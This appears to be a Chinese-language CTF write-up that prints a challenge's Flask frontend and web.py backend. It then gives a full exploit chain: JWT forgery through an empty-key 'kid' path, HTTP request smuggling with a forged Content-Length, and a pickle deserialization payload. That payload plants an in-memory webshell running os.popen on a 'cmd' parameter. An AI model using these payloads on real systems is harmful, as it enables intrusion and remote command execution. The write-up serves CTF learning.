赞
踩
目录
注意到题目源码前端是flask写的,后端是web.py写的
frontend
- from flask import Flask, request, redirect, render_template_string, make_response
- import jwt
- import json
- import http.client
-
- app = Flask(__name__)
-
- login_form = """
- <form method="post">
- Username: <input type="text" name="username"><br>
- Password: <input type="password" name="password"><br>
- <input type="submit" value="Login">
- </form>
- """
-
- @app.route('/', methods=['GET'])
- def index():
- token = request.cookies.get('token')
- if token and verify_token(token):
- return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
- else:
- return redirect("/login", code=302)
-
- @app.route('/login', methods=['GET', 'POST'])
- def login():
- if request.method == "POST":
- user_info = {"username": request.form["username"], "isadmin": False}
- key = get_key("frontend_key")
- token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
- resp = make_response(redirect("/", code=302))
- resp.set_cookie("token", token)
- return resp
- else:
- return render_template_string(login_form)
-
- @app.route('/backend', methods=['GET', 'POST'])
- def proxy_to_backend():
- forward_url = "python-backend:8080"
- conn = http.client.HTTPConnection(forward_url)
- method = request.method
- headers = {key: value for (key, value) in request.headers if key != "Host"}
- data = request.data
- path = "/"
- if request.query_string:
- path += "?" + request.query_string.decode()
- conn.request(method, path, body=data, headers=headers)
- response = conn.getresponse()
- return response.read()
-
- @app.route('/admin', methods=['GET', 'POST'])
- def admin():
- token = request.cookies.get('token')
- if token and verify_token(token):
- if request.method == 'POST':
- if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
- forward_url = "python-backend:8080"
- conn = http.client.HTTPConnection(forward_url)
- method = request.method
- headers = {key: value for (key, value) in request.headers if key != 'Host'}
- data = request.data
- path = "/"
- if request.query_string:
- path += "?" + request.query_string.decode()
- if headers.get("Transfer-Encoding", "").lower() == "chunked":
- data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
- if "BackdoorPasswordOnlyForAdmin" not in data:
- return "You are not an admin!"
- conn.request(method, "/backdoor", body=data, headers=headers)
- return "Done!"
- else:
- return "You are not an admin!"
- else:
- if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
- return "Welcome admin!"
- else:
- return "You are not an admin!"
- else:
- return redirect("/login", code=302)
-
- def get_key(kid):
- key = ""
- dir = "/app/"
- try:
- with open(dir+kid, "r") as f:
- key = f.read()
- except:
- pass
- print(key)
- return key
-
- def verify_token(token):
- header = jwt.get_unverified_header(token)
- kid = header["kid"]
- key = get_key(kid)
- try:
- payload = jwt.decode(token, key, algorithms=["HS256"])
- return True
- except:
- return False
-
- if __name__ == "__main__":
- app.run(host = "0.0.0.0", port = 8081, debug=False)

backend
- import web
- import pickle
- import base64
-
- urls = (
- '/', 'index',
- '/backdoor', 'backdoor'
- )
- web.config.debug = False
- app = web.application(urls, globals())
-
-
- class index:
- def GET(self):
- return "welcome to the backend!"
-
- class backdoor:
- def POST(self):
- data = web.data()
- # fix this backdoor
- if b"BackdoorPasswordOnlyForAdmin" in data:
- return "You are an admin!"
- else:
- data = base64.b64decode(data)
- pickle.loads(data)
- return "Done!"
-
-
- if __name__ == "__main__":
- app.run()

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密
且后续也不会去验证签名的合法性
指定一个加密的空密钥,再把取解密密钥的路径置空
带着token去访问./admin,发现成功伪造
拿到admin之后我们就可以去请求后端 /backdoor 接口
要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾
我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的
- from flask import Flask, request
-
- app = Flask(__name__)
-
- @app.route('/admin', methods=['GET', 'POST'])
- def admin():
- if request.method == 'POST':
- data1 = request.data
- print("这是前端接收到的数据")
- print(data1)
- data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
- print("这是前端向后端发的数据")
- print(data2)
-
- if __name__ == "__main__":
- app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉
(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)
本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接
向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理
至于后端接收的原始数据(暂时忽略Content-Length),显然就是
gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin
不作赘述
于是就来到了本题的重头戏:浅谈HTTP请求走私
考虑前后端对HTTP报文的解析差异
后端web.py的web.data()对传入data有这样一段处理
就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked
前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。
走过判断后,又对data手动进行了一个分块传输的格式处理
伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)
- import pickle
- import base64
-
-
- class A(object):
- def __reduce__(self):
- return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))
-
-
- a = A()
- a = pickle.dumps(a)
- print(base64.b64encode(a))
Content-Length就是base64编码的长度
打入后直接访问/backend路由即可命令执行
用pker生成opcode再转base64
GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode
exp.py
- getattr = GLOBAL('builtins', 'getattr')
- dict = GLOBAL('builtins', 'dict')
- dict_get = getattr(dict, 'get')
- globals = GLOBAL('builtins', 'globals')
- builtins = globals()
- a = dict_get(builtins, '__builtins__')
- exec = getattr(a, 'exec')
- exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
- return
python3 pker.py < exp.py | base64 -w 0
改一下Content-Length
访问./backend?cmd=cat /Secr3T_Flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。